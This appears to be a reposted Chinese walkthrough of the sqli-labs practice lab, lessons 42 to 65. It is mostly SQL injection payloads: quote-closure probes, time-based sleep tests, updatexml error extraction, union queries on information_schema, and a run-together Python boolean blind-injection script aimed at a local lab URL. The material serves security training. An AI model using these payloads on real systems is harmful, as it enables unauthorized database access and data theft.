sql-labs:42~65

less42(单引号闭合、报错回显)

login_user=admin
login_password=123' and if(1=1,sleep(2),1) #                                # 单引号闭合
​
login_user=admin
login_password=123'and updatexml(1,concat(0x7e,database(),0x7e),1)#         # 报错回显用户名有过滤,
tips:
这里还是强调一下,时间注入测试注入点,sql语句必须有查询结果才能sleep,而且and连接的条件必须都成立才能sleep,两者缺一不可
所以输入的用户名和密码必须都正确,也就是有一个用户凭据才能有sql语句查询结果,才能sleep

less43(单引号括号闭合、报错回显)

跟less42一样
login_password=1') and updatexml(1,concat(0x7e,user(),0x7e),1)--+

less44(单引号闭合、半回显)

login_user=admin
login_password=123456' and if(1=1,sleep(2),1) # 
​
布尔注入:
login_user=admin
login_password=123456' and substr(DATABASE(),1,1)='s' # 
​
如果回显结果有slap1.jpg说明爆出来了一个字符

less45(单引号括号闭合、半回显)

跟less44一样
​
布尔注入语法:
login_user=admin
login_password=123456') and substr(database(),1,1)='s' and ('1')=('1
​
这里可以使用状态码进行半回显判断,也可以不使用slap1.jpg回显判断
如果爆出来一个字符,则返回302,如果不是则返回200

less46(order by注入手法、报错回显)

sql语法规定:order by后不能接 union select
Incorrect usage of UNION and ORDER BY
​
使用时间或报错
​
sort=1 and if(1=1,sleep(0.05),1) --+
不知道为什么这里的sleep时间突然变得好长,之前sleep相同的数值,很快就sleep完了
sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less47

(46~53都是这个order by、无非就是闭合方式不一样和有报错回显的问题,有报错回显报错注入,没有就布尔盲注时间盲注,换汤不换药)
(这里没有测试布尔盲注,直接用的时间盲注)
(但是布尔盲注优先级是比时间盲注要高的,作者只测试了时间盲注是为了减小工作量,因为基本上有了sql注入,时间盲注可行性最大)
(布尔盲注搞不定了,再时间盲注)
sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
发现单引号闭合:
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less48

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 无报错回显
​
sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+             # 时间盲注

less49

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 无报错回显
​
sort=1' and if(substr(database(),1,1)='s',sleep(0.05),1) --+            # 时间盲注

less50

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less51

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less52

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 无报错回显
​
sort=1 and if(substr(database(),1,1)='s',sleep(1),1) --+                # 时间盲注

less53

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)                 # 无报错回显
​
sort=1' and if(substr(database(),1,1)='s',sleep(1),1)                   # 时间盲注

less54(54到65都是这个挑战)

id=1' and if(1=1,sleep(1),1) and '1'='1                                 # 单引号闭合
​
id=0' union select 1,database(),3 --+                                   # 全回显
​
id=0' union select 1,str_foo,3 --+                                      # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='gg0e5rd6g0')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',secret_BPRX,',',tryy) from gg0e5rd6g0)
​
tips:
当你用时间注入测试sql注入点时,比如你发现用''闭合的注入语句:
id=1' and if(1=1,sleep(1),1) and '1'='1
测试成功了,先不要急,因为它还有可能是
('')闭合
((''))闭合
((('')))闭合
...
可以加无数个括号,双引号""和括号()闭合也有这个问题

less55

id=1 and if(1=1,sleep(1),1)                                 此情况也可能是(),如下例子
SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1
SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1
​
id=1" and if(1=1,sleep(1),1) and "1"="1                     此情况也有可能是(""),如下例子
SELECT * FROM security.users WHERE id="1" and if(1=1,sleep(1),1) and "1"="1" LIMIT 0,1
SELECT * FROM security.users WHERE id=("1" and if(1=1,sleep(1),1) and "1"="1    ") LIMIT 0,1
​
id=1' and if(1=1,sleep(1),1) and '1'='1                     此情况也有可能是(''),如下例子
SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1
SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1    ') LIMIT 0,1
​
和less54一样
​
id=1) and if(1=1,sleep(1),1) and (1)=(1                     # 括号闭合      
​
id=0) union select 1,str_foo,3 --+                          # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less56

和less54、55一样
发现('')闭合,且有回显
id=0') union select 1,database(),3 --+
id=0') uNIon sELect 1,database(),3 --+

less57

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
和less54、55、56一样
发现""闭合,且有回显
id=0" union select 1,database(),3 --+

less58(less58~less61都是报错注入,就是闭合方式的不同)

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现''闭合,但回显是误导项,回显的账号密码不是数据库里的,而是php code里的,所以有回显等于无回显
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+               # 报错回显
​
id=1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+                  # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less59

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现无闭合
id=1 and if(1=1,sleep(1),1) --+
​
id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+                # 报错回显
​
id=1 and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+                   # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less60

跟58、59一样
​
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现("")闭合
​
id=1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less61

跟58、59、60一样
​
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现((''))闭合
id=1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less62(less62~less65都是时间注入或布尔注入)

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现('')闭合,且无回显
id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+
布尔注入:
id=1') and 1=1 --+
id=1') and 1=2 --+
发现正确的数据包显示,如下字符串
Your Login name : Angelina
Your Password : dhakkan
而错误的数据包不显示,那我们提取Password作为标志字符串,用于布尔盲注的判断
id=1') and substr(database(),int_foo,1)='char_foo' and ('1')=('1
​
id=1') and if(substr(database(),1,1)='c',sleep(1),1) --+
# 直接用我们之前写的脚本:https://github.com/iamnotamaster/sql-injecterdict_para_data = {'id' : 'hack123'}vuln_para = 'id'http_type = 1url = "http://127.0.0.1/sqli-labs/Less-62/"expected_data = "Password"payload_foo1 = "1') and int_foo>str_foo and ('1')=('1"payload_foo2 = "1') and char_foo>ascii(substr(str_foo,int_foo,1)) and ('1')=('1"str_foo1 = "length(database())"str_foo2 = "database()"# 爆库名# db_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)# db_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, db_len)# 爆表名str_foo1 = "(SELECT CHAR_LENGTH(group_concat(table_name)) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"str_foo2 = "(SELECT group_concat(table_name) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"tb_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)tb_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, tb_len+1)# 爆字段str_foo1 = "(select CHAR_LENGTH(COLUMN_NAME) from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"str_foo2 = "(select COLUMN_NAME from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, colu_len+1)
​# 因为字段secret_后面的的字符串是随机的(如secret_TGFJ),我们自动化取出来赋值给code变量index = colu_result.find('secret_')code = colu_result[index + len('secret_'):index + len('secret_')+4]
​str_foo1 = "(select CHAR_LENGTH(secret_" + code + ") from "+ tb_result +")"str_foo2 = "(select secret_" + code + " from "+ tb_result +")"colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, colu_len+1)

less63

跟62一样
发现''闭合,且无回显
​
只修改62脚本中的url和payload就可以

less64

跟63、62一样
发现(())闭合,且无回显
​
只修改62脚本中的url和payload就可以

less65

跟63、62一样
发现("")闭合,且无回显
​
只修改62脚本中的url和payload就可以

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/440807.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql UDF提权(实战案例)

作者:程序那点事儿 日期:2024/09/29 16:10 什么是UDF? 全称 User Define Function (用户自定义函数)UDF提权,就是通过自定义函数,实现执行系统的命令。 dll(windows,dll文件是c语…

5.人员管理模块(以及解决运行Bug)——帝可得管理系统

目录 前言一、页面修改表单展示修改 二、新增对话框修改三、修改对话框修改修改时展示创建时间 四、解决页面展示错误五 、 解决【java.lang.NullPointerException: null】 Bug 前言 提示:本篇完成人员管理模块的开发,具体需求、修改代码的路径和最终效…

车辆种类分类识别数据集,可以识别7种汽车类型,已经按照7:2:1比 例划分数据集,训练集1488张、验证集507张,测试集31张, 共计2026张。

车 车辆种类分类识别数据集,可以识别7种汽车类型,已经按照7:2:1比 例划分数据集,训练集1488张、验证集507张,测试集31张, 共计2026张。 数据集分为一类客车(tinycar) ,类客车(midcar) ,三类 客车(bigcar) ,…

重学SpringBoot3-集成Redis(六)之消息队列

更多SpringBoot3内容请关注我的专栏:《SpringBoot3》 期待您的点赞👍收藏⭐评论✍ 重学SpringBoot3-集成Redis(六)之消息队列 1. 什么是发布/订阅(Pub/Sub)?2. 场景应用3. Spring Boot 3 整合 R…

感知机学习算法

感知机 一、感知机简介二、感知机模型2.1 感知机的基本组成2.2 求和函数2.2.1 时间总合2.2.2 空间总合 2.3 激活函数2.4 学习算法2.4.1 赫布学习规则2.4.2 Delta学习规则 三、 结论参考文献 一、感知机简介 M-P神经元模型因其对生物神经元激发过程的极大简化而成为神经网络研究…

微信小程序学习实录10:轻松获取用户昵称、头像与登录openid实战攻略

在微信小程序开发中,获取用户的个人信息(如昵称和头像)以及用户的唯一标识OpenID是非常常见的需求。本文将详细介绍如何通过微信提供的API来实现这些功能,并提供一个完整的实战案例。 用户选择头像 微信提供了chooseAvatar组件&…

ROS基础入门——实操教程

ROS基础入门——实操教程 前言 本教程实操为主,少说书。可供参考的文档中详细的记录了ROS的实操和理论,只是过于详细繁杂了,看得脑壳疼,于是做了这个笔记。 Ruby Rose,放在这里相当合理 本文初编辑于2024年10月4日 C…

使用vscode调试wails项目(golang桌面GUI)

文章目录 安装 Golang 环境安装 NPM安装 VSCode安装 Go 插件安装 Go 插件依赖工具安装 Wails系统检查 准备项目Visual Studio Code 配置安装和构建步骤参考资料 安装 Golang 环境 访问 golang 官网下载环境安装包:https://go.dev/dl/ 安装 NPM 从 Node 下载页面 …

时序必读论文16|ICLR24 CARD:通道对齐鲁棒混合时序预测Transformer

论文标题:CARD: Channel Aligned Robust Blend Transformer for Time Series Forecasting 论文链接:https://arxiv.org/abs/2305.12095 代码链接:https://github.com/wxie9/CARD 前言 Transformer取得成功的一个关键因素是通道独立&#…

鸿蒙开发之ArkUI 界面篇 十九 Flex组件的特点

其语法格式是: Flex(参数对象){ 字组件1, 字组件2, 字组件3, 字组件4 } 这里你会发现,其实和Row容器,Colum容器的语法格式差不多,核心的关键是Colum、Row是不支持换行,实现FlexInterface接口,对外提供的属性是F…

数据库(MySQL):使用命令从零开始在Navicat创建一个数据库及其数据表(二).设置主键自增等特点

前言 在上一节中,主要介绍了 Navicat Premium 17 的使用以及创建一个基础的表格。当时只设置了给数据表补充字段,没有设置给数据表删除字段。现在补充一下。 ALTER TABLE student ADD test int(4); 给名为 student 的数据表添加 test 列&#xf…

Android OTA升级

针对Android系统OTA升级,MTK平台有相关介绍文档:https://online.mediatek.com/apps/faq/detail?faqidFAQ27117&listSW 概念一:OTA包的构建 AOSP full build:Android原生提供的全量包的构建,意思就是可以从任何一…

数据结构:AVL树

前言 学习了普通二叉树,发现普通二叉树作用不大,于是我们学习了搜索二叉树,给二叉树新增了搜索、排序、去重等特性, 但是,在极端情况下搜索二叉树会退化成单边树,搜索的时间复杂度达到了O(N),这…

【EXCEL数据处理】000020 案例 保姆级教程,附多个操作案例。EXCEL使用表格。

前言:哈喽,大家好,今天给大家分享一篇文章!创作不易,如果能帮助到大家或者给大家一些灵感和启发,欢迎收藏关注哦 💕 目录 【EXCEL数据处理】000020 案例 保姆级教程,附多个操作案例。…

vulnhub-digitalworld.local DEVELOPMENT靶机

vulnhub:digitalworld.local: DEVELOPMENT ~ VulnHub 导入靶机,放在kali同网段,扫描 靶机在192.168.114.129,扫描端口 开了几个端口,8080端口有网页,访问 说是让访问html_pages 似乎把页面都写出来了&…

2-115 基于matlab的瞬态提取变换(TET)时频分析

基于matlab的瞬态提取变换(TET)时频分析,瞬态提取变换是一种比较新的TFA方法。该方法的分辨率较高,能够较好地提取出故障的瞬态特征,用于故障诊断领域。通过对原始振动信号设置不同信噪比噪声,对该方法的抗…

面向对象特性中 继承详解

目录 概念: 定义: 定义格式 继承关系和访问限定符 基类和派生类对象赋值转换: 继承中的作用域: 派生类的默认成员函数 继承与友元: 继承与静态成员: 复杂的菱形继承及菱形虚拟继承: 虚…

学MybatisPlus

1.设置MySql的数据库 spring:datasource:url: jdbc:mysql://127.0.0.1:3306/mp?useUnicodetrue&characterEncodingUTF-8&autoReconnecttrue&serverTimezoneAsia/Shanghaidriver-class-name: com.mysql.cj.jdbc.Driverusername: rootpassword: MySQL123 logging:l…

IDEA搭建JDK1.8源码调试环境

大家好 下载源码 安装好 JDK 后,源码目录下面有 src.zip 文件,这个文件就是 JDK 的源码 搭建调试环境 新建 Maven 工程,包含以下文件 source:源码文件夹(手动新建)test:单元测试文件夹&…

Linux文件重定向文件缓冲区

目录 一、C文件接口 二、系统文件I/O 2.1认识系统文件I/O 2.2系统文件I/O 2.3系统调用和库函数 2.4open( )的返回值--文件描述符 2.5访问文件的本质 三、文件重定向 3.1认识文件重定向 3.2文件重定向的本质 3.3在shell中添加重定向功能 3.4stdout和stderr 3.5如何理…